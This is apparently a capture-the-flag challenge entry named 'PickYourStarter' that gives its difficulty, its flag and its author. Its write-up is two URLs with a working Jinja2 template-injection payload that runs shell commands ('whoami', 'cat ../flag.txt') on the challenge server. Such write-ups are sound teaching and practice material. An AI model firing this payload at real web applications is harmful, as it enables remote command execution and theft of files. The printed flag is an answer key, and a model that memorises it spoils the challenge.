PickYourStarter

Description

Picking a starter is hard, I hope you can do it.

Difficulty

4/10

Flag

PCTF{wHOS7H47PoKEmoN}

Author

Jax

Tester

Txnn3r (Tanner Leventry)

Writeup

http://127.0.0.1:5000/%7B%7Burl_for.__globals__.os.__dict__.popen(request.args.file).read()%7D%7D?file=whoami

http://chal.pctf.competitivecyber.club:5555/%7B%7Burl_for.__globals__.os.__dict__.popen(request.args.file).read()%7D%7D?file=cat%20../flag.txt